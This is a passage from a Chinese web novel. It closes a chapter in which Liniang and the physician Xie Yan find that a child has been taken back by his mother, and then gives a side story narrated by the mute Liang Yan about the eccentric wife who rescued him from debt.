苏长久摸了摸自己的眼睛,指尖轻轻地碰了一下鲜红的黏膜,有种把重瞳挖出来的冲动。 他纤长而雪白的睫毛眨了眨,委屈道:“她现在大约不想看见我的脸,让她静一静吧。等她想明白了,她会回到我身边的。” “毕竟我才是将她从永恒痛苦中拯救出来的人。” 苏长久把烂摊子扔给手下处理,自己穿过变成狼藉的江府,垂头看见地上的赵艽野,他已经奄奄一息。 但因为谢厌吊命的技术实在太好了,居然也让他挣得一口气,就是赖着不死。 “你早就发现了?为什么地助会中会混进你的人?我身边到底有谁不是你的人?算了,不重要。”赵艽野死猪不怕开水烫地翻了个身,理直气壮道: “金乌姐不会不管我的。你要是杀了我,金乌姐一定会讨厌你的。你就算再看不顺眼我,也只能让我活着!” 苏长久长长的叹了一口气,像是陷入了回忆中: “对呀,毕竟金乌是一只美丽、强大却又心地脆弱的鸟儿。只有细心呵护,它才不会从你的手中飞走。” 苏长久微微一笑,这笑容并不直达眼底。 赵艽野心中警铃大作,苏长久注视着窗外仿佛永不停歇的风沙,幽幽地说:“可惜我并非那样大度的主人。” 在凄厉的惨叫中,他活活挖出了赵艽野的一只眼睛。 “现在我们都一样丑陋了。” 苏长久苍白的指尖拨弄着那圆圆的球体,放在手心中掐爆了,十分高兴地说:“这下夫人总不会厚此薄彼了吧?” . 一旦脱离了危机,和谢厌待在一起就显得有些尴尬了。 “那什么。”梨娘沉吟半天,最后蹦出一句诚实的,“我们在这里分开走怎么样?原本我并未认出你,现在和你待在一起好尴尬哦。” 谢厌抱臂,阴惨惨地笑了,梨娘目光游移。 只听他说:“你知道我找了你多久吗?” “一个月?两个月?”梨娘眼神飘忽。 “这是你还记得我的时间吗?”谢厌气笑了,说,“当初我助你假死出宫,只要你答应我再也不嫁人。但你并没有做到,所以,你欠我一条命!” 梨娘经历的事情太多了,现在脸皮已经不是非一般的厚,她当即诚恳道:“当初发生的事太多了,我们都各有难处,而且在那之后我的状态不太好。” “我看你是眼光不太好。” 谢厌锐评,向身后一指,简直匪夷所思:“那疯狗你哪儿套来的?当初他的通缉令满大秉都是,桩桩件件,有哪一样是冤枉他的?你看上去也不是不识字啊。” “一般说这种话的人,接下来就是向我剖白心迹了。” 梨娘不想回忆那段时光,并且已经学会了提前预判,连珠炮一般说:“我不会再嫁人,我们不合适,我并非良人,而且我们有仇,你放弃吧。” “谁说我要追求你了?” 谢厌无法想象和梨娘在一起是什么日子。他是真的无法想象,因为他从来没过过什么好日子。 对婚姻和家族的了解全部来自于兄友弟恭的琼华谢氏,和在慕容氏皇宫中痛哭的上官皇后。 那太惨了。 梨娘反而好奇了,道:“那你想要什么?” “我......” 话在嘴边转了一圈,谢厌反而有点说不出口,也不知道该如何形容这种感情。 他是个大夫,用词很严谨,在沉默一炷香之后,终于说道: “婚姻是剧毒,我希望你别成为我的夫人,也不能成为别人的。你太特殊了,只有立于人群之中,才能展现出你的独特,所以我不想独占你,但是也不想你被别人爱慕,起码男子不行,女子也不行,我觉得你也不会对小孩起什么兴趣。鉴于你眼光实在差,所以我打算和你一直待在一起,但是相信我对你又没有任何别的心思,你死了不行,太难过也不行......” 梨娘表情空白。 这特么什么。 两人都来到了平安丧葬馆门口,梨娘才终于从这一长串的滔滔不绝中悟了,说:“你是柏拉图?” “谁是柏拉图?”谢厌挑眉问。 这世界柏拉图没出生。 梨娘的心思已经完全放在了被留在里面的小宝身上,再加上她其实鲜少要对人解释这种词汇,于是支吾了半天,随口说: “哦,就是,假如说你是阳/痿,然后你爱上了一个女子......” 谢厌:? 谢厌大怒:“我不是!” “莫要纠结那些小事了。” 丧葬馆地板上的暗道有着鲜明的被撬开的痕迹,梨娘一眼就瞧见了,道:“来帮把手。” “这不是小事。”谢厌假笑,额角蹦起青筋,“你记住了,我不是阳痿,而且我也没有爱上你。” 谢厌的声音一下子止住,尘沙簌簌洒落,暗道内部空空如也,只有一封信函被放在一双小脚印上。 这也能丢??? 谢厌断定:“你孩子离家出走了。” 苏竹心不到5岁,大字还不识几个。 梨娘拾 起那信封,字迹娟秀,这人定然是有几十年的书法功底: “多谢你保住竹心。 此子多年养育之恩、救命之恩,林林总总,我定会想办法报偿。 本不欲如此突然,我知此行卑鄙,实乃小人作派,可愿下地狱过刀山来悔。 但若他见你,定不欲与我走。 我为人母,这是我的亲生骨肉。念之心如刀绞,此举自私,万望见谅。” 梨娘放下信纸,神情似乎有些落寞。 “......”谢厌的手指紧了紧。 他想说些话来活跃下气氛,但他知道自己这张嘴还是闭上为好。 “你在想办法安慰我吗?不用啦。” 梨娘抬眼,黑白分明的眼睛依然清澈无比,就是不知道在对谁说:“跟在我身边吃了这么多苦,现在能回到自己母亲身边,挺好的。自己的孩子还是自己最疼嘛。” 谢厌觉得她一定是在强颜欢笑,在心中脑补出了种种可怜的情节,并全部套进了梨娘的脸。 一个时辰后,他意识到他想的不对,梨娘绝对非常人也。 因为她在离开永熹的过程中,已经捡走了七个无家可归的小孩。 这帮孩子又矮又小,瘦得像骷髅,梨娘和谢厌走在他们前后,像两个赶尸人。 在梨娘还要捡第八个的时候,谢厌终于觉得梨娘有点疯狂了,伸手探了一下梨娘的体温。 梨娘:? 没触到想要的温度,谢厌遗憾地问:“你在想什么?” “我在想我儿时的梦想。”梨娘怀念地说。 谢厌看看被捡的八个小孩,从这八个小孩的神情来看,肉眼可见的即将成长为梨娘的死士。 他谨慎地问:“仵作?” “教授!”梨娘大怒,“是很有学望的学者!” “在我的时代,每个人都能够坐在课桌上,从六岁大的儿童到六十岁的老人,虽然也有很多不快乐的地方.......” “但那是我们每个人的起点。” “或许上天让我穿越到这里来,就是为了让我建立一所学校!” “这才是真正的改变世界的方法!” 狂风吹乱了梨娘的长发,这么多年过去,她唯一没能学会的,便是像慕容轻和慕容华那样仿佛毫不费力就能编出的发髻。 她把耳边吹乱了的头发随手向后一拨,揽住这八个孩子,沾沾自喜道:“这就是我的学校最早的学生,说不定未来会有大人物哦!” 历经十年岁月,梨娘依然是如此的天真而坚定,撞上南墙,永不回头。 “......”谢厌愣愣地看了她两秒。 梨娘还在等着谢厌给反应,期待地:“?” 谢厌骤然回神,掩饰般地轻咳一声。但是他是大秉人,大秉人心虚起来是很犀利的,于是他欲盖弥彰地问出了一针见血的问题:“你有钱吗?” “......”梨娘沉默一瞬,坚定地许愿,“一定有。” 这人花钱大手大脚,谢厌匪夷所思:“你这么多年是怎么活下来的?” “我做了一些不太会被人发现的小玩意去卖,还有遗产和聘礼,在大部分时候我都不缺钱......” “那我怎么记得我在陈县初见你的时候,你身无分文呢?” “路边总有人看上去很可怜......不知不觉就......” 梨娘目光游移,而谢厌冷酷地说:“你没救了,你办不成的!” 梨娘想起谢厌化名的这段时期,对敛财十分的有心得,一定是一个十分合适的财务,还可以兼职一下校医。 她立刻诚恳道:“哪有学校只有我一位校长的?不知道你愿不愿意当名誉校长?” 谢厌很犀利地察觉了其中关窍,道:“你是不是没有把我的那份工钱算进去?我告诉你,我可是为大秉打过十几年的白工,没有人可以欺骗我!” “我是在诚恳地邀请你打白工。” “............” 大燹的一半都是沙漠,剩下一半被风沙所苦。 这里是整块大陆上最古老的地方,上千万年的石头被磨成崭新的沙子,和从千万年前开始就在此处肆虐的风沙混在一起。 在这样恶劣的环境下,梨娘看上去仍然美艳无双。 眼梢锋锐的弧度如同一把插进人心窍的尖刀,瞧人的时候扎进去,流出的血都如蜜一样甘甜。 虽然他依然搞不清楚他究竟想要什么。 在他迷茫的时间,在她行动的时间,在一起相处的时间,在曾经相处的时间。 或许是在明天,或许是在垂垂老矣之时。 时间会磨平一切,而爱会由此而始。 88. 番外·梁言 我的妻子大概是狐狸精。 我叫梁言,是个哑巴。 还是个孤苦无依身无长物的哑巴。 我的父母都是赌鬼,赌到把我家的铺子全输光了,输到小时候,债主来我家到处打砸。 我和父母一起躲在地窖里,我最爱的玩具被打坏了,哭喊个不停。 父亲为了不让那些人发现我,用药水毒坏了我的嗓子,于是我从此就成了一个哑巴。 赌是永远没有尽头的。很快,我家都输到连放贷的都不愿意借,因为一定收不回来。 我已经做好把自己卖身为奴的打算,但是我家已经声名远扬,没有人愿意要一个这样的奴隶。 我曾读过几年书,但很快也就不读了。试着帮人写文章,笔墨不通,也赚不得几分钱。 此生大约也就只能这样等死。 而能帮助这样的我的,大约就只有好心的狐狸精。 我第一次见她的时候很狼狈,在街上被一群人追着打,打得头破血流。 那时候,妻子出现了。 她乘着一匹神气非凡的黑色骏马,眉眼漂亮的真的像妖精变的一样,仰头往口中灌酒,未尽的酒液滴到她纤长的手指上,我看呆了,债主也看呆了。 大燹这地方穷苦,大家都吃不饱、穿不暖,很少见如此级别的美人。 妻子当时醉醺醺的,神态很不清醒,债主以为有利可图,于是不管我了,全都围上去。 我急得疯了,但我从地上爬不起来,我瘦的只剩骨头架子了,满身是伤。 如果这样的美人在眼前受辱,我就把我的舌头也咬断,一起死掉好了。 我想错了,只有我这样的怂包和废物才会想着同归于尽这样的招数,妻子只是歪着头看着他们,像是不明白发生了什么事一样,等到她明白了这些人的龌龊意图,这些债主们就再也没敢也没能站起来。 那是我第一次看见一个女子能那么厉害,也是我第一次看见神迹。 她的身躯那么纤细,却蕴含着那么强的力量,怀中还抱着一个襁褓,就能用一只拳头把他们打得满脸是血,有人想偷袭她,在十步开外,腹部就爆出一团血花,倒在地上抽搐。 我没看明白事情是怎么发生的,因为我只顾着看妻子了。 妻子在事后告诉我,她用的不是什么神兵,而是枪,但是她永远不会把这东西再传给其他人,我也就只当个故事记下来。 这么一闹,街上的人都跑光了。 妻子也觉得很麻烦似的,她怀中的襁褓发出小狗似的呜咽声音,她哄了几下,就要再次上马。 如果我在那个时候还像狗一样趴在地上,那大概永远不会再和妻子有交集了吧。 所以我拼尽全力拦住妻子,我想告诉她,她打的这些人是有名的地痞流氓,就算挨打了,也不会报官。 但是我是个哑巴。 妻子看我呜呜咽咽的,又满脸鲜血,很可怜。她是个有柔软心肠的人,觉得我一个人一定是活不下去的,刚好她的孩子父亲跑了,她连日奔波,孩子又生病了,看了许多医生都不得好。 如果我有一个可以遮风挡雨的屋檐,她就愿意嫁给我。 我被这天上掉下的馅饼打蒙了。 我是个什么都没有的人,只有一大堆债主,和讨命鬼的亲戚,甚至毁了声带,不算得上一个完全的人。 这样漂亮的仙女怜悯我,一定是天上派来度化凡人的仙女,有任务在身。我自惭形愧,拒绝的话和答应的话都说不出口。 妻子叹了口气,我看得出她眉眼间对我的怜悯,把这样的施舍当做对我的请求。我只恨自己一无所有,在这样的目光下简直犹如一只强光下的蚂蚁。 她这样宽容地说:“我毕竟带着孩子,不勉强你。若是你愿意,便把我剩下的酒液喝掉吧。” 她递给我一个酒坛,那便是我们粗糙而简陋的交杯酒。 我至今都记得那杯酒液的滋味,和妻子亲吻过的坛口的香味。 我在那之前从来没有喝过酒,别说是酒,哪怕是喝掉之后,会把我的心肝脾肺肾全都融化掉,我也一定会毫不犹豫的吧。 妻子随我一同回了家,一路上我依然沉浸在飘飘然的幻觉中,几乎以为自己飞在天际。 而妻子怀中的襁褓又发出了几声呻吟,我觉得那声音不太妙。 妻子看见我望向襁褓,原本有些警惕的看着我,但我拼命地用姿态表达我的无害,愿意随时跪在她面前。 在我的努力下,妻子终于放下戒心,愿意让我抱一抱她的孩子。 这孩子超乎我想象的轻,四肢不断挣扎着。 幸好我是个哑巴。当妻子包得严严实实的襁褓中探出一个毛茸茸的脑袋的时候,我发不出任何一声惊呼。 我操,是只狗。 妻子坚定地说,这就是她的孩子,她亲生的,好不容易找回来的,就叫小宝。 眼神中没有一丝清醒。 这浑身长满白毛的小奶狗,长着一张狗脸和一对狗耳朵,和四条狗腿,除去都很可爱之外,没有任何和妻子相似的地方。 妻子说的都是对的。 所以妻子应该是个好心的狐狸精。 我的父亲和母亲在染上赌博之前也是一对恩爱的夫妻,我知道真正的夫妻是什么样的。夫妻是要相互支撑着过日子的。 所以我很后悔让妻子待在我的屋檐中,我什么都没有,只有空空如也而四处漏风的房子。 妻子要喂她的小宝,甚至都找不到一个合适的宝宝碗当狗碗。 我决定与妻子和离,我这样的人怎么配得上这样的仙女?当晚我痛哭流涕地写了一篇小作文,用上了替别人抄写书本的所有功底,跪着递给妻子。 妻子困惑地接过来,只一扫便看完了我熬了一宿写出来的东西。并说让我不要担心,她有办法。 小宝很喜欢我,大约是我不会把它包进襁褓里,而是把它当成一只真正的狗来对待,它过得比较有狗的生活。 妻子看了小宝这么喜欢我,才决定继续她的心血来潮。 这是我认为妻子是狐狸精的第二个证据。 她太有才能了。 我没有钱,妻子身上也不剩太多钱。她就用这些所剩不多的银钱,做出了不用油也不用火的长明灯。 挂在廊门上,只需要风吹过,带动风叶转动,便会亮起明亮的光芒。 大燹最不缺的便是风。 妻子用剩下的材料做了个板车,我负责推着这个手推车,漂亮的妻子坐在上面,沿着街市大声叫卖。灯是她做的,客人是她吸引来的,我只是站在旁边看着她而已。我感到羞愧,又感到幸福。 这长明灯理所当然地在此地流行了起来。 夜晚狂风吹过,所有的人家都亮如白昼,风停,光则渐止,仿佛这片土地正在呼吸。 卖长明灯让我赚到了第一笔钱,当债还完的那一刻,我真的以为我的新生开始了。在这一刻,我能作为一个独立的人,抛开旧有的一切踏入新的生活。 但是人是没有办法甩开自己的过去的。 人想要跌进烂泥里很容易,从烂泥里爬出来,眼睁睁看着你跌进去的人,却是不乐意的。 在这段时间我打理了一下自己的形容,也想修理一下自己的房子。因为妻子的房间,虽然已经是最好的房间,却也总是会从窗缝中落进些许尘土,这与这样的女子不相配。 小宝已经长得很大了,妻子在烦恼它为什么只能用四肢走路,将来要是个弱智怎么办? 我在烦恼怎么教狗两条腿走路。 很快,这烦恼就不再是烦恼了,而变成了一种矫情,因为我的父母回来了。 我以为他们早就死了,并盼望他们早就死了。 但是没有。 我是他们的血脉,一看他们的脸,就知道他们要我做什么。他们要我又回到地狱里去。 妻子就坐在廊下,一边摸着她的小宝,一边听那些无理的要求。琉璃般的眼珠中没有什么情绪。 那些污言秽语是不能用来形容我的妻子的。 我试图反驳他们,但我是个哑巴,努力起来很可笑。 妻子似乎被我的样子逗笑了,她笑起来的声音如银铃相撞,透着些许鬼气。 如果她真是狐狸精就好了,我的精气给她拿去,我的命也给她拿去,从此我也化作了她的一部分,一起回归山林。 但妻子没有。 没有我臆想的那种狐狸精迷人眼的爽快桥段,也没有妻子冷笑一声,弃我而去的悲剧情节。 妻子只是把我的父母捆了起来,日日给他们读书。 她似乎想 让他们改掉坏毛病。 我过去也曾经无数次地尝试过,跪下祈求过,但是每一次,父母都带着欠条跪下来求我,痛哭流涕地说,下一次绝对不会了。 所以我以为,这也是妻子的柔软心肠导致的一次失败尝试。很快她就会腻烦这个家,腻烦我。 但妻子成功了。 不知道是不是因为妻子在给他们读书的时候,不给他们吃饭,并且要求他们往死里健身的缘故。 健身和读书是会改变人的两样东西。 正因为有了妻子,我才重新有了父母。 我欠妻子的大约永远也还不尽。 妻子很任性,想要什么东西,就一定要现在得到。 妻子听口音是大阜人,但是只喜欢吃甜食,有时候吃着吃着又会哭。 妻子每天会骑着她的神气十足的骏马到处溜达,总是睡得很晚。 妻子好像发自内心地认为小宝是个人。 我已经教会了小宝用两条腿表演杂耍,但是最后还是没能教会狗说话,毕竟我也不会说话。 但我用妻子送给我的钱,赚了更多的钱,换了一所大的宅子。用实际行动告诉妻子,不能说话也是一样可以活下去的。 我这样安慰妻子,妻子终于暂时不再担心了。小宝在妻子手中瞪着一双湿漉漉的狗眼睛看着我们,现在忧愁的变成了我。 将来要教写字的时候该怎么办? 我这种烦恼很快就变成了一种奢望。 因为小宝死了。 它本来就是妻子在路边捡的杂毛狗,血统不纯,智商不高,每天就在院子里撒欢傻乐,吃完饭就来咬妻子的裙角,妻子弯下腰摸它,它就会把肉渣子舔人一脸。 如果不是因为妻子收养了它,这种傻子狗本来就会在路边死的一茬又一茬。 这天它吃完饭,急着去扑一只小鸟,呼哧呼哧喘的连舌头都露在外面,妻子本来看着它笑,但是小宝没扑到那只小鸟,啪地大头着地摔在地上。 妻子连忙扑上前去,小宝只是温顺地舔了舔她的手掌,幸福而平静地度过了生命中的最后几分钟。 为什么上天要这么对待妻子呢? 天杀的,她只是想养条狗而已啊,又没有犯法,又做了这么多好事,为什么要这样对她? 妻子把自己关在房间里饮酒,除了我初见她的那次,她已经很久不饮酒了。 我能听到她令人心碎的呜咽。 我该怎么把妻子从那种痛苦中拯救出来呢? 我毫无头绪,宁可死掉的是我。 妻子对我招招手,我便走上前去,把她手中的佳酿换成葡萄果汁。她已经饮得很醉了,只有在这种不太清醒的时刻,她的大脑才愿意展露真实的清醒。 她一直在说,她好想爸爸妈妈。 爸爸妈妈是怎么把她养大的呢?为什么她想养大的东西总是养不大呢? 我心如刀绞,只能揽着她也痛哭起来。我连妻子的愿望都完不成,连条狗都看不好,到底有什么用? 人的大脑是很精妙的东西。 如果说我的大脑是这座城的话,妻子的大脑大约是整个世界。 她的大脑太聪明了,以至于如果想不明白的事,她会自己编织答案。 哪怕那答案是假的。她为了逃避无限的痛苦,必然会追寻虚假的表象。 在小宝下葬的第30天,妻子毫无征兆地消失了,谁也找不到她。 我动用了所有的能力去找她。 最后只从一个路人的口中听说,一个仿佛下凡来的仙女,骑着一匹高头大马,一边饮酒,一边出城去了,是去找她走丢了的孩子。 我不知道妻子的名字,因为她从来没有告诉过我。 只知道她把我从欠了一屁股债的穷鬼,变成了这样富甲一方的巨贾,把我的人生从地狱中拽了起来。 她把我的人生变好了,自己离开了,和把我的人生毁掉有什么区别? 往好处想,或许她此生会想起来我,但往坏处想,又或许不会,我只是她人生中的一个过客。 为了报答她,我打算给她立个庙,永远地传颂她的故事。 或许这些人的祝愿能够送到她耳边,在千万人的呼唤中,她能够想起我。 我一定要让她获得幸福,就像她对我那样。